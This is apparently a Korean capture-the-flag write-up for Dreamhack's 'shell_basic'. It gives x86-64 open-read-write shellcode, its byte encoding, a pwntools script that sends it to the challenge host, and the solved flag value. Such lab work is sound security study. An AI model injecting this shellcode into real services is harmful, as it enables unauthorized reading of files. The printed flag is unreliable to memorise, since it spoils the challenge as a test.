[dreamhack][writeup] System-stage4: shell_basic

mj·2023년 4월 1일
0
post-thumbnail

문제 파일 확인

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  void (*sc)();

  init();

  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

해당 소스 코드를 봤을 때 사용자에게 셸코드의 바이트코드를 받아서 해당 바이트 코드를 실행시키는 프로그램인 것 같다.

/home/shell_basic/flag_name_is_loooooong 이름의 flag 파일을 읽고 출력하는 ORW(open-read-write) 셸코드를 작성해야 될 것 같다.

의사코드 작성

/home/shell_basic/flag_name_is_loooooong 파일을 열고 읽은 후, 화면에 출력하는 코드를 c 언어 의사코드로 작성해보자

fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL);	// 파일을 읽엉옴
read(fd, buf, 0x30);	// 파일의 내용을 buf에 작성
write(1, buf, 0x30);	// buf의 내용을 화면에 출력

ORW 코드 작성

1. open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL);

; open("/home/shell_basic/flag_name_is_loooooong", 
xor rax, rax
push rax
mov rax, 0x676e6f6f6f6f6f6f             ; rax = "oooooong"
push rax                                ; *rsp = "oooooong\x0"
mov rax, 0x6c5f73695f656d61             ; rax = "ame_is_l"
push rax                                ; *rsp = "ame_is_loooooong\x0"
mov rax, 0x6e5f67616c662f63             ; rax = "c/flag_n"
push rax                                ; *rsp = "c/flag_name_is_loooooong\x0"
mov rax, 0x697361625f6c6c65             ; rax = "ell_basi"
push rax                                ; *rsp = "ell_basic/flag_name_is_loooooong\x0"
mov rax, 0x68732f656d6f682f             ; rax = "/home/sh"
push rax                                ; *rsp = "/home/shell_basic/flag_name_is_loooooong\x0"
mov rdi, rsp                            ; rdi = rsp ; *rdi = "/home/shell_basic/flag_name_is_loooooong\x0"     
xor rsi, rsi                            ; rsi = 0
xor rdx, rdx                            ; rdx = 0
mov rax, 0x02                           ; rax = 0x02 ; syscall_open
syscall                         ; syscall

2. read(fd, buf, 0x30);

; read(fd, buf, 0x30)
mov rdi, rax                            ; rdi = rax ; *rdi = "DH{...}"
mov rsi, rsp                            ; rsi = rsp
sub rsi, 0x30                           ; rsi = rsi - 0x30
mov rdx, 0x30                           ; rdx = 0x30
mov rax, 0x00                           ; rax = 0x00 ; syscall_read
syscall

3. write(1, buf, 0x30);

; write(1, buf, 0x30)
mov rdi, 0x01                           ; rdi = 1
mov rax, 0x01                           ; rax = 0x01
syscall

4. 최종 코드

; filename : shellcode.asm
section .text
global _start
_start:

        ; open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL)
        xor rax, rax
        push rax                               ; *rsp = \x0
        mov rax, 0x676e6f6f6f6f6f6f             ; rax = "oooooong"
        push rax                                ; *rsp = "oooooong\x0"
        mov rax, 0x6c5f73695f656d61             ; rax = "ame_is_l"
        push rax                                ; *rsp = "ame_is_loooooong\x0"
        mov rax, 0x6e5f67616c662f63             ; rax = "c/flag_n"
        push rax                                ; *rsp = "c/flag_name_is_loooooong\x0"
        mov rax, 0x697361625f6c6c65             ; rax = "ell_basi"
        push rax                                ; *rsp = "ell_basic/flag_name_is_loooooong\x0"
        mov rax, 0x68732f656d6f682f             ; rax = "/home/sh"
        push rax                                ; *rsp = "/home/shell_basic/flag_name_is_loooooong\x0"
        mov rdi, rsp                            ; rdi = rsp ; *rdi = "/home/shell_basic/flag_name_is_loooooong\x0"        xor rsi, rsi                            ; rsi = 0
        xor rdx, rdx                            ; rdx = 0
        mov rax, 0x02                           ; rax = 0x02 ; syscall_open
        syscall

        ; read(fd, buf, 0x30)
        mov rdi, rax                            ; rdi = rax ; *rdi = "DH{...}"
        mov rsi, rsp                            ; rsi = rsp
        sub rsi, 0x30                           ; rsi = rsi - 0x30
        mov rdx, 0x30                           ; rdx = 0x30
        mov rax, 0x00                           ; rax = 0x00 ; syscall_read
        syscall

        ; write(1, buf, 0x30)
        mov rdi, 0x01                           ; rdi = 1
        mov rax, 0x01                           ; rax = 0x01
        syscall

5. 컴파일 후 전처리

$ nasm -f elf64 shellcode.asm
$ for i in $(objdump -d shellcode.o|grep "^ "|cut -f2);do echo -n \\x$i;done
\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05

페이로드 작성

from pwn import *

#p = process("./shell_basic")
p = remote("host3.dreamhack.games", 18562)
payload = b"\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.recvuntil(b"shellcode: ")
p.send(payload)
flag = p.recvline()

print("flag: ", flag)
p.close()

공격

접속 정보 확인

공격

  • flag : DH{ca562d7cf1db6c55cb11c4ec350a3c0b}
profile
사는게 쉽지가 않네요

0개의 댓글